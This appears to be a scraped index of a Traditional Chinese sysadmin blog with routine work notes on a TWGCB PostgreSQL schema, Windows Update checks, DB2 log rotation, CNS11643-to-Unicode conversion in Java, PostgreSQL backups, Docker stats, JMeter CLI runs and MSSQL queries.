25 26 27 28 29 30 31 32 33 34 35 36 37 create table twgcb ( id bigint generated always as identity, version int default 0, issure int default 2, note varchar(100), date_created timestamp default CURRENT_TIMESTAMP not null, man_created varchar(20) not null, last_updated timestamp, man_last_updated varchar(20), twgcb_id char(17) not null , type smallint, cname varchar(50), explanation text, instructions text, default_value varchar(100), remark varchar(100), primary key (id) ); CREATE UNIQUE INDEX twgcb_un1 ON twgcb (twgcb_id); comment on table twgcb is \u0026#39;TWGCB\u0026#39;; comment on column twgcb.id IS \u0026#39;資料流水號\u0026#39;; comment on column twgcb.version IS \u0026#39;版本，每修改一次就是加1\u0026#39;; comment on column twgcb.issure IS \u0026#39;0：刪除、1：新增中、2：使用中\u0026#39;; comment on column twgcb.note IS \u0026#39;資料註記\u0026#39;; comment on column twgcb.date_created IS \u0026#39;資料建立時間\u0026#39;; comment on column twgcb.man_created IS \u0026#39;資料建立者\u0026#39;; comment on column twgcb.last_updated IS \u0026#39;資料更新時間\u0026#39;; comment on column twgcb.man_last_updated IS \u0026#39;資料更新者\u0026#39;; comment on column twgcb.twgcb_id IS \u0026#39;TWGCB-ID\u0026#39;; comment on column twgcb.type IS \u0026#39;類別\u0026#39;; comment on column twgcb.cname IS \u0026#39;原則設定名稱\u0026#39;; comment on column twgcb.explanation IS \u0026#39;說明\u0026#39;; comment on column twgcb.instructions IS \u0026#39;設定方法\u0026#39;; comment on column twgcb.default_value IS \u0026#39;GCB設定值\u0026#39;; comment on column twgcb.remark IS \u0026#39;備註\u0026#39;; 類別對照表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 create table bs_select ( id bigint generated always as identity, type varchar(10) not null, code smallint not null, cdesc varchar(100) not null, primary key (id) ); comment on table bs_select is \u0026#39;選單代號對照表\u0026#39;; comment on column bs_select.id IS \u0026#39;資料流水號\u0026#39;; comment on column bs_select.type IS \u0026#39;類別\u0026#39;; comment on column bs_select.code IS \u0026#39;選單代號\u0026#39;; comment on column bs_select.cdesc IS \u0026#39;代號敘述\u0026#39;; CREATE UNIQUE INDEX bs_select_un1 ON bs_select (type,code); TWGCB 匯入暫存表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 create table twgcb_imp_tmp ( twgcb_id char(17), type varchar(20), cname varchar(50), explanation text, instructions text, default_value varchar(100), remark varchar(100) ); comment on table twgcb_imp_tmp is \u0026#39;TWGCB 匯入暫存\u0026#39;; comment on column twgcb_imp_tmp.twgcb_id IS \u0026#39;TWGCB-ID\u0026#39;; comment on column twgcb_imp_tmp.type IS \u0026#39;類別\u0026#39;; comment on column twgcb_imp_tmp.cname IS \u0026#39;原則設定名稱\u0026#39;; comment on column twgcb_imp_tmp.explanation IS \u0026#39;說明\u0026#39;; comment on column twgcb_imp_tmp.instructions IS \u0026#39;設定方法\u0026#39;; comment on column twgcb_imp_tmp.default_value IS \u0026#39;GCB設定值\u0026#39;; comment on column twgcb_imp_tmp.remark IS \u0026#39;備註\u0026#39;; 匯入方式 # 整理 GCB 資料成 excel 用 ETL 工具 匯入 twgcb_imp_tmp 執行下列 SQL 類別資料 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,5, \u0026#39;系統服務\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,10, \u0026#39;日誌與稽核\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,15, \u0026#39;帳號與存取控制\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,20, \u0026#39;系統設定與維護\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,25, \u0026#39;基礎服務\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,30, \u0026#39;網路設定\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,35, \u0026#39;Firewalld配置\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,40, \u0026#39;網路配置與防火牆\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,45, \u0026#39;SELinux\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,50, \u0026#39;安裝與軟體維護\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,55, \u0026#39;過時服務\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,60, \u0026#39;SSH設定\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,65, \u0026#39;檔案權限與遮罩\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,70, \u0026#39;安裝與維護軟體\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,75, \u0026#39;cron設定\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,80, \u0026#39;磁碟與檔案系統\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,85, \u0026#39;Iptables配置\u0026#39;); INSERT INTO bs_select (\u0026#34;type\u0026#34;, code, cdesc)VALUES( \u0026#39;twgcb_type\u0026#39;,90, \u0026#39;Nftables配置\u0026#39;); 匯入 sql 1 2 3 4 5 6 7 8 9 10 11 INSERT INTO twgcb (man_created, twgcb_id, \u0026#34;type\u0026#34;, cname, explanation, instructions, default_value, remark) select \u0026#39;批次匯入\u0026#39; man_created, twgcb_id, (select t.code from bs_select t where t.type = \u0026#39;twgcb_type\u0026#39; and t.cdesc = tit.type ) type, cname, explanation, instructions, default_value, remark from twgcb_imp_tmp tit ; 整理好的 excel 資料 # 為了匯入方便，我這邊已經整理好 xlsx 版本的資料\nTWGCB-01-012_Red Hat Enterprise Linux 9政府組態基準說明文件(伺服器)v1.0_1121207 TWGCB-01-008_Red Hat Enterprise Linux 8政府組態基準說明文件v1.2_1121228 TWGCB-01-003_Red Hat Enterprise Linux 5政府組態基準說明文件v1.1_1081224 ","date":"April 6, 2024","externalUrl":null,"permalink":"/worknot/db-schema/","section":"Worknots","summary":"最近在整理 GCB 的相關資料，想說把它匯入資料庫後，未來會比較好管理導入的主機\n資料庫環境 # OS: Debian 12 DB: postgresql 資料庫 schema # 進入資料庫 1 2 sudo su - postgres psql 建立資料庫 1 2 3 4 5 create database twgcb_db; CREATE ROLE twgcb_role NOINHERIT; GRANT ConNECT on DATABASE twgcb_db TO twgcb_role; CREATE USER twgcbu WITH PASSWORD 'PASSWORD'; GRANT twgcbu TO twgcb_role; 建立 table TWGCB 資料表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 create table twgcb ( id bigint generated always as identity, version int default 0, issure int default 2, note varchar(100), date_created timestamp default CURRENT_TIMESTAMP not null, man_created varchar(20) not null, last_updated timestamp, man_last_updated varchar(20), twgcb_id char(17) not null , type smallint, cname varchar(50), explanation text, instructions text, default_value varchar(100), remark varchar(100), primary key (id) ); CREATE UNIQUE INDEX twgcb_un1 ON twgcb (twgcb_id); comment on table twgcb is 'TWGCB'; comment on column twgcb.id IS '資料流水號'; comment on column twgcb.version IS '版本，每修改一次就是加1'; comment on column twgcb.issure IS '0：刪除、1：新增中、2：使用中'; comment on column twgcb.note IS '資料註記'; comment on column twgcb.date_created IS '資料建立時間'; comment on column twgcb.man_created IS '資料建立者'; comment on column twgcb.last_updated IS '資料更新時間'; comment on column twgcb.man_last_updated IS '資料更新者'; comment on column twgcb.twgcb_id IS 'TWGCB-ID'; comment on column twgcb.type IS '類別'; comment on column twgcb.cname IS '原則設定名稱'; comment on column twgcb.explanation IS '說明'; comment on column twgcb.instructions IS '設定方法'; comment on column twgcb.default_value IS 'GCB設定值'; comment on column twgcb.remark IS '備註'; 類別對照表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 create table bs_select ( id bigint generated always as identity, type varchar(10) not null, code smallint not null, cdesc varchar(100) not null, primary key (id) ); comment on table bs_select is '選單代號對照表'; comment on column bs_select.id IS '資料流水號'; comment on column bs_select.type IS '類別'; comment on column bs_select.code IS '選單代號'; comment on column bs_select.cdesc IS '代號敘述'; CREATE UNIQUE INDEX bs_select_un1 ON bs_select (type,code); TWGCB 匯入暫存表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 create table twgcb_imp_tmp ( twgcb_id char(17), type varchar(20), cname varchar(50), explanation text, instructions text, default_value varchar(100), remark varchar(100) ); comment on table twgcb_imp_tmp is 'TWGCB 匯入暫存'; comment on column twgcb_imp_tmp.twgcb_id IS 'TWGCB-ID'; comment on column twgcb_imp_tmp.type IS '類別'; comment on column twgcb_imp_tmp.cname IS '原則設定名稱'; comment on column twgcb_imp_tmp.explanation IS '說明'; comment on column twgcb_imp_tmp.instructions IS '設定方法'; comment on column twgcb_imp_tmp.default_value IS 'GCB設定值'; comment on column twgcb_imp_tmp.remark IS '備註'; 匯入方式 # 整理 GCB 資料成 excel 用 ETL 工具 匯入 twgcb_imp_tmp 執行下列 SQL 類別資料 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',5, '系統服務'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',10, '日誌與稽核'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',15, '帳號與存取控制'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',20, '系統設定與維護'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',25, '基礎服務'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',30, '網路設定'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',35, 'Firewalld配置'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',40, '網路配置與防火牆'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',45, 'SELinux'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',50, '安裝與軟體維護'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',55, '過時服務'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',60, 'SSH設定'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',65, '檔案權限與遮罩'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',70, '安裝與維護軟體'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',75, 'cron設定'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',80, '磁碟與檔案系統'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',85, 'Iptables配置'); INSERT INTO bs_select (\"type\", code, cdesc)VALUES( 'twgcb_type',90, 'Nftables配置'); 匯入 sql 1 2 3 4 5 6 7 8 9 10 11 INSERT INTO twgcb (man_created, twgcb_id, \"type\", cname, explanation, instructions, default_value, remark) select '批次匯入' man_created, twgcb_id, (select t.code from bs_select t where t.type = 'twgcb_type' and t.cdesc = tit.type ) type, cname, explanation, instructions, default_value, remark from twgcb_imp_tmp tit ; 整理好的 excel 資料 # 為了匯入方便，我這邊已經整理好 xlsx 版本的資料\n","title":"TWGCB 資料庫建立腳本","type":"worknot"},{"content":"今天突然收到客戶需要檢查windows 有沒有設定自動檢查更新，因為有多台實在懶得一台一台進入，然後一個一個點擊視窗擷圖，因此想說有沒有輸入 CLI 指令檢查的方法。\nwindows server 2000 # 以下是操作的版本\nwindows server\n指令\n1 reg query \u0026#34;HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update\u0026#34; /v AUOptions 輸出結果 1 2 3 4 5 6 7 8 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\\Users\\james\u0026gt;reg query \u0026#34;HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update\u0026#34; /v AUOptions HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update AUOptions REG_DWORD 0x4 說明 # AUOptions (REG_DWORD)：\n1 2 3 4 5 6 1：在 [自動更新] 中停用 [讓我的電腦保持在最新狀態]。 2：通知下載和安裝。 3：自動下載並通知安裝。 4：自動下載及排程安裝。 5：允許本機系統管理員選取設定模式。 此選項不適用於 Windows 10 或更新版本。 7：通知安裝，並通知重新啟動。 僅限 (Windows Server 2016 和更新版本) windows server 2000 以後 # 可以透過 sc.exe 查詢 wuauserv 服務\n以下是操作的版本\nwindows server 2016\nwindows server 2022\nwindows 10\n指令\n1 sc qc wuauserv 輸出結果 1 2 3 4 5 6 7 8 9 10 11 12 13 C:\\Users\\james\u0026gt;sc qc wuauserv [SC] QueryServiceConfig 成功 SERVICE_NAME: wuauserv TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\\Windows\\system32\\svchost.exe -k netsvcs -p LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Windows Update DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem 上面發現是需要手動更新安裝，可以透過下列指令改為自動安裝更新\n1 sc config wuauserv start= auto 1 2 3 4 5 6 7 8 9 10 11 12 13 C:\\Users\\james\u0026gt;sc qc wuauserv [SC] QueryServiceConfig 成功 SERVICE_NAME: wuauserv TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\\Windows\\system32\\svchost.exe -k netsvcs -p LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Windows Update DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem 參考資料 # Sc.exe query 管理其他 Windows Update 設定 ","date":"March 28, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240328/","section":"Worknots","summary":"今天突然收到客戶需要檢查windows 有沒有設定自動檢查更新，因為有多台實在懶得一台一台進入，然後一個一個點擊視窗擷圖，因此想說有沒有輸入 CLI 指令檢查的方法。\n","title":"windows 透過 CLI 檢查有沒有自動更新","type":"worknot"},{"content":"","date":"March 28, 2024","externalUrl":null,"permalink":"/tags/winsows/","section":"Tags","summary":"","title":"Winsows","type":"tags"},{"content":"今天在工作時碰到 db2diag.log 膨脹到把硬碟塞滿，在這邊分享一下處理過程\ndb2diag -A 可以很放心去執行，執行過程中不會對現形資料庫運作產生任何影響\n操作資料庫環境 # OS: RedHat 6 DB2 Version: 9.7 實做流程 # 檢查本機上可用的空間 1 2 3 4 5 6 7 [db2inst1@db2-node ~]$ df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/VolGroup-lv_root 44G 36G 6.1G 86% / tmpfs 20G 44M 20G 1% /dev/shm /dev/test1 477M 35M 417M 8% /boot /dev/test2 1.1T 288G 765G 28% /db2 檢查 db2diag.log 所佔用的空間 1 2 [db2inst1@db2-node ~]$ ll -h /home/db2inst1/sqllib/db2dump/db2diag.* -rw-rw-rw- 1 db2inst1 db2iadm1 12G Mar 25 22:27 /home/db2inst1/sqllib/db2dump/db2diag.log 執行切 db2diag.log 1 2 3 [db2inst1@db2-node ~]$ db2diag -A db2diag: Moving \u0026#34;/home/db2inst1/sqllib/db2dump/db2diag.log\u0026#34; to \u0026#34;/home/db2inst1/sqllib/db2dump/db2diag.log_2024-03-25-22.35.42\u0026#34; 檢視結果 1 2 3 [db2inst1@db2-node ~]$ ll -h /home/db2inst1/sqllib/db2dump/db2diag.* -rw-rw-rw- 1 db2inst1 db2iadm1 1.9K Mar 25 22:35 /home/db2inst1/sqllib/db2dump/db2diag.log -rw-rw-rw-. 1 db2inst1 db2iadm1 12G Mar 25 22:27 /home/db2inst1/sqllib/db2dump/db2diag.log_2024-03-25-22.35.42 參考資料 # [Db2] How to rotate Db2 diagnostic file (db2diag.log) db2diag - db2diag 日誌分析工具指令 ","date":"March 25, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240325/","section":"Worknots","summary":"今天在工作時碰到 db2diag.log 膨脹到把硬碟塞滿，在這邊分享一下處理過程\ndb2diag -A 可以很放心去執行，執行過程中不會對現形資料庫運作產生任何影響\n操作資料庫環境 # OS: RedHat 6 DB2 Version: 9.7 實做流程 # 檢查本機上可用的空間 1 2 3 4 5 6 7 [db2inst1@db2-node ~]$ df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/VolGroup-lv_root 44G 36G 6.1G 86% / tmpfs 20G 44M 20G 1% /dev/shm /dev/test1 477M 35M 417M 8% /boot /dev/test2 1.1T 288G 765G 28% /db2 檢查 db2diag.log 所佔用的空間 1 2 [db2inst1@db2-node ~]$ ll -h /home/db2inst1/sqllib/db2dump/db2diag.* -rw-rw-rw- 1 db2inst1 db2iadm1 12G Mar 25 22:27 /home/db2inst1/sqllib/db2dump/db2diag.log 執行切 db2diag.log 1 2 3 [db2inst1@db2-node ~]$ db2diag -A db2diag: Moving \"/home/db2inst1/sqllib/db2dump/db2diag.log\" to \"/home/db2inst1/sqllib/db2dump/db2diag.log_2024-03-25-22.35.42\" 檢視結果 1 2 3 [db2inst1@db2-node ~]$ ll -h /home/db2inst1/sqllib/db2dump/db2diag.* -rw-rw-rw- 1 db2inst1 db2iadm1 1.9K Mar 25 22:35 /home/db2inst1/sqllib/db2dump/db2diag.log -rw-rw-rw-. 1 db2inst1 db2iadm1 12G Mar 25 22:27 /home/db2inst1/sqllib/db2dump/db2diag.log_2024-03-25-22.35.42 參考資料 # [Db2] How to rotate Db2 diagnostic file (db2diag.log) db2diag - db2diag 日誌分析工具指令 ","title":"DB2 切 db2diag.log","type":"worknot"},{"content":"","date":"March 21, 2024","externalUrl":null,"permalink":"/tags/cns11643/","section":"Tags","summary":"","title":"CNS11643","type":"tags"},{"content":" unicode: 萬國碼，設計上一共有17個平面。在第0的平面中，可以直接用一個 UTF-8 表示。 CNS11643: 中文標準交換碼，是中華民國國家標準11643號，簡稱CNS 11643，舊名通用漢字標準交換碼，是中華民國政府為中文資訊處理製定的字元編碼方案，與許多學術圖書館係統採用的CCCII同屬於中文交換碼。CSIC基於ISO 2022定義，和ASCII相容，其EUC版本為EUC-TW。 最近工作上碰到 Oracle 編碼是 US7ASII ， 而存放的有中文資料，於是遇到了轉碼問題。對方的轉碼在Java邏輯大緻上如下：\n使用 ISO-8859-1 方式讀取資料庫 解析成字: 兩個位元碼 在將兩個位元碼搜尋對應的 CNS11643 編碼 在將 CNS11643 編碼對應成 unicode 在處理這塊之前其實我分不清處什麼是unicode 跟 UTF-8，後來才知道 UTF 是 Unicode Transformation Format 的縮寫。UTF 主要是為了解決不同平臺傳輸間的問題？\n在這次經驗中遇到了CNS11643 對找錶 中 unicode 在 Java 如何處理。我這邊以 𡪨 與 張 這個字為例。\n張\n以下是這個字的編碼資訊:\nCNS11643 網站中 Unicode: 5F35 HTML Entity:\t張張 UTF-8 Encoding (hex):\t0xE5 0xBC 0xB5 UTF-16 Encoding (hex):\t0x5F35 UTF-32 Encoding (hex):\t0x00005F35 𡪨\n以下是這個字的編碼資訊:\nCNS11643 網站中 Unicode: 21AA8 UTF-8 (hex)\t0xF0 0xA1 0xAA 0xA8 (f0a1aaa8) UTF-8 (binary)\t11110000:10100001:10101010:10101000 UTF-16 (hex)\t0xD846 0xDEA8 (d846dea8) UTF-16 (decimal)\t55,366 57,000 UTF-32 (hex)\t0x00021AA8 (21aa8) UTF-32 (decimal)\t137,896 C/C++/Java source code\t\u0026ldquo;\\uD846\\uDEA8\u0026rdquo; 在 Java 中可以很輕易處理張\n1 2 String unicodeString = \u0026#34;\\u5F35\u0026#34;; System.out.println(unicodeString); 然而在處理𡪨 時就無法，因此必須改用UTF-32 顯示處理，實際處理方式如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 String hexString = \u0026#34;21AA8\u0026#34;; // 假設你有一個UTF-32編碼的碼點 21AA8 int codePoint = Integer.parseInt(hexString.toString(), 16); // 創建ByteBuffer以容納UTF-32編碼的碼點 ByteBuffer byteBuffer = ByteBuffer.allocate(4); byteBuffer.putInt(codePoint); // 將ByteBuffer從寫模式切換到讀模式 byteBuffer.flip(); // 使用UTF-32編碼創建字符串 Charset utf32Charset = Charset.forName(\u0026#34;UTF-32\u0026#34;); String utf32String = utf32Charset.decode(byteBuffer).toString(); // 將UTF-32字符串轉換為UTF-8編碼的字節序列 byte[] utf8Bytes = utf32String.getBytes(StandardCharsets.UTF_8); String showString = String(utf8Bytes, StandardCharsets.UTF_8); return showString; 所以在處理 CNS11643 轉 Unicode 的處理方式建議直接從 UTF-32 直接著手比較可以預防第零字面以外的字。\n參考資料 # 維基百科-中文標準交換碼 維基百科-Unicode ","date":"March 21, 2024","externalUrl":null,"permalink":"/post/cns11643/","section":"Posts","summary":" unicode: 萬國碼，設計上一共有17個平面。在第0的平面中，可以直接用一個 UTF-8 表示。 CNS11643: 中文標準交換碼，是中華民國國家標準11643號，簡稱CNS 11643，舊名通用漢字標準交換碼，是中華民國政府為中文資訊處理製定的字元編碼方案，與許多學術圖書館係統採用的CCCII同屬於中文交換碼。CSIC基於ISO 2022定義，和ASCII相容，其EUC版本為EUC-TW。 最近工作上碰到 Oracle 編碼是 US7ASII ， 而存放的有中文資料，於是遇到了轉碼問題。對方的轉碼在Java邏輯大緻上如下：\n","title":"CNS11643 轉 UTF8 經驗","type":"post"},{"content":"","date":"March 21, 2024","externalUrl":null,"permalink":"/post/","section":"Posts","summary":"","title":"Posts","type":"post"},{"content":" 安裝時設定項目 # 安裝前檢查項目 # 作業系統版本 資料庫空間需要獨立空間 資料庫備份需要獨立空間 稽核確認: 資料庫連線稽核 稽核確認: 資料庫DDL異動紀錄 定期備份排程 資料庫備份 # 定期備份排程 user: postgres\n1 2 0 1 * * * pg_dump -Fc -c dbName \u0026gt; /data/backup/dbName.$(date +%Y%m%d%H%M%S).dump -O # 備份 0 6 * * * /usr/bin/find /data/backup/* -type f -mtime +7 -exec rm -f {} \\; # 刪除備份 維運管理 # 變更權限 # change table owner 1 ALTER TABLE [tableName] OWNER TO [userName];. change schema owner 1 ALTER SCHEMA public OWNER TO [userName]; ","date":"March 15, 2024","externalUrl":null,"permalink":"/post/db-postgresql-note/","section":"Posts","summary":"安裝時設定項目 # 安裝前檢查項目 # 作業系統版本 資料庫空間需要獨立空間 資料庫備份需要獨立空間 稽核確認: 資料庫連線稽核 稽核確認: 資料庫DDL異動紀錄 定期備份排程 資料庫備份 # 定期備份排程 user: postgres\n","title":"db-postgresql-note","type":"post"},{"content":" 檢查內部容器使用狀況 # 1 docker stats 1 2 3 4 5 6 7 CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS 59bfcba7ba71 testwebjobmail-testwebJobMail-1 0.89% 2.034GiB / 23GiB 8.84% 22.3MB / 629MB 179MB / 1.38GB 320 4286bd2e6131 testweb-testweb-1 2.42% 2.506GiB / 23GiB 10.89% 246MB / 1.85GB 161MB / 3.55GB 2316 a46f17a27938 test2-test2-1 441.62% 9.58GiB / 23GiB 41.65% 21.7GB / 20.8GB 1.08GB / 9.49GB 383 228ff5b678e8 test3public-test3Public-1 0.17% 2.356GiB / 23GiB 10.24% 1.71GB / 12.3GB 239MB / 9.04GB 357 572708a5ac8c testwebjobsubjob-testwebJobSubJob-1 0.73% 2.155GiB / 23GiB 9.37% 1.81GB / 26.3GB 71.1MB / 48GB 325 d9e7d3c9d350 test3ommap-test3OmMap-1 0.74% 2.093GiB / 23GiB 9.10% 16.6GB / 23GB 413MB / 1.88GB 371 ","date":"March 15, 2024","externalUrl":null,"permalink":"/post/docker-note/","section":"Posts","summary":"檢查內部容器使用狀況 # 1 docker stats 1 2 3 4 5 6 7 CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS 59bfcba7ba71 testwebjobmail-testwebJobMail-1 0.89% 2.034GiB / 23GiB 8.84% 22.3MB / 629MB 179MB / 1.38GB 320 4286bd2e6131 testweb-testweb-1 2.42% 2.506GiB / 23GiB 10.89% 246MB / 1.85GB 161MB / 3.55GB 2316 a46f17a27938 test2-test2-1 441.62% 9.58GiB / 23GiB 41.65% 21.7GB / 20.8GB 1.08GB / 9.49GB 383 228ff5b678e8 test3public-test3Public-1 0.17% 2.356GiB / 23GiB 10.24% 1.71GB / 12.3GB 239MB / 9.04GB 357 572708a5ac8c testwebjobsubjob-testwebJobSubJob-1 0.73% 2.155GiB / 23GiB 9.37% 1.81GB / 26.3GB 71.1MB / 48GB 325 d9e7d3c9d350 test3ommap-test3OmMap-1 0.74% 2.093GiB / 23GiB 9.10% 16.6GB / 23GB 413MB / 1.88GB 371 ","title":"docker-note","type":"post"},{"content":"前幾個月在幫專案做壓力測試，因為對方主機執行壓力測試環境是 Linux，於是我尋找一下JMeter 有沒有 CLI 模式下執行測試，順手紀錄一下。\n壓力測試 CLI 範例 # 先廢話不多說，先線上範例，windows 跟 Linux 各舉例一個，Windows是後來順手寫一下，因為這樣我久可以不用開啟GUI介面操作啦。\nLinux 1 2 3 4 5 6 #!/bin/bash export groupT=\u0026#34;25-60\u0026#34; export homeDir=\u0026#34;/home/pollo\u0026#34; mkdir -p ${homeDir}/reports/${groupT}/report export JVM_ARGS=\u0026#34;-Xms10240m -Xmx10240m\u0026#34; ${homeDir}/apache-jmeter-5.5/bin/jmeter -n -t ${homeDir}/test.jmx -l ${homeDir}/reports/${groupT}/report/report.jtl -e -o ${homeDir}/reports/${groupT}/report windows 1 2 3 4 5 set groupT=25-60 set homeDir=C:\\Users\\pollo\\Desktop mkdir C:\\Users\\pollo\\Desktop\\reports\\%groupT%\\report set JVM_ARGS=\u0026#34;-Xmx80240m\u0026#34; C:\\app\\apache-jmeter-5.5\\bin\\jmeter -n -t C:\\Users\\pollo\\Desktop\\test.jmx -l %homeDir%\\reports\\%groupT%\\report\\report.jtl -e -o %homeDir%\\reports\\%groupT%\\report 用CLI執行 JMeter 會產生一個Log檔: jmeter.log 。可以方便後追蹤。\n參數說明 # 選項 說明 -n 指定 JMeter 在 CLI 模式下運作 -t jmx 文件路徑 -l jtl 測試紀錄檔案路徑 -j Jmeter.log 路徑，如果沒有指定預設是下指令的目錄 -g 產出 csv 報告文件 -e 產出 html 報告文件 -o 產出報告文件目錄 ","date":"March 14, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240314/","section":"Worknots","summary":"前幾個月在幫專案做壓力測試，因為對方主機執行壓力測試環境是 Linux，於是我尋找一下JMeter 有沒有 CLI 模式下執行測試，順手紀錄一下。\n壓力測試 CLI 範例 # 先廢話不多說，先線上範例，windows 跟 Linux 各舉例一個，Windows是後來順手寫一下，因為這樣我久可以不用開啟GUI介面操作啦。\n","title":"jmeter CLI 模式","type":"worknot"},{"content":"","date":"March 13, 2024","externalUrl":null,"permalink":"/categories/mssql/","section":"Categories","summary":"","title":"MSSQL","type":"categories"},{"content":" 查詢執行很久的SQL # 1 2 3 4 5 6 7 8 SELECT TOP 10 [總執行時間(秒)] =CAST(a.total_elapsed_time / 1000000.0 AS DECIMAL(16, 2)) , [執行次數] =a.execution_count , [平均執行時間(秒)] =CAST(a.total_elapsed_time / 1000000.0 / a.execution_count AS DECIMAL(16, 2)) , [SQL指令] =SUBSTRING (b.text,(a.statement_start_offset/2) + 1,500) FROM sys.dm_exec_query_stats a CROSS APPLY sys.dm_exec_sql_text(a.sql_handle) as b WHERE a.total_elapsed_time \u0026gt; 0 AND B.[text] NOT LIKE \u0026#39;%SCHEMA_NAME%\u0026#39;--去除一些系統的SQL指令 ORDER BY [平均執行時間(秒)] DESC 查詢資料庫版本 # 1 SELECT @@VERSION AS \u0026#39;SQL Server Version Details\u0026#39; 查詢結果 1 2 3 4 Microsoft SQL Server 2014 - 12.0.2000.8 (X64) Feb 20 2014 20:04:26 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.2 \u0026lt;X64\u0026gt; (Build 9200: ) (Hypervisor) 權限認識 # MS SQL 伺服器角色 # Data type mapping for other data types:\n固定伺服器層級角色 描述 sysadmin sysadmin 固定伺服器角色的成員可以執行伺服器中的所有活動。 serveradmin serveradmin 固定伺服器角色的成員可以變更全伺服器組態選項及關閉伺服器。 securityadmin securityadmin 固定伺服器角色的成員可以管理登入及其屬性。 他們可以 GRANT (授與)、DENY (拒絕) 和 REVOKE (撤銷) 伺服器層級權限。 如果他們擁有資料庫的存取權，也可以 GRANT、DENY 和 REVOKE 資料庫層級權限。 此外，他們可以重設SQL Server登入的密碼。 重要： 授與 Database 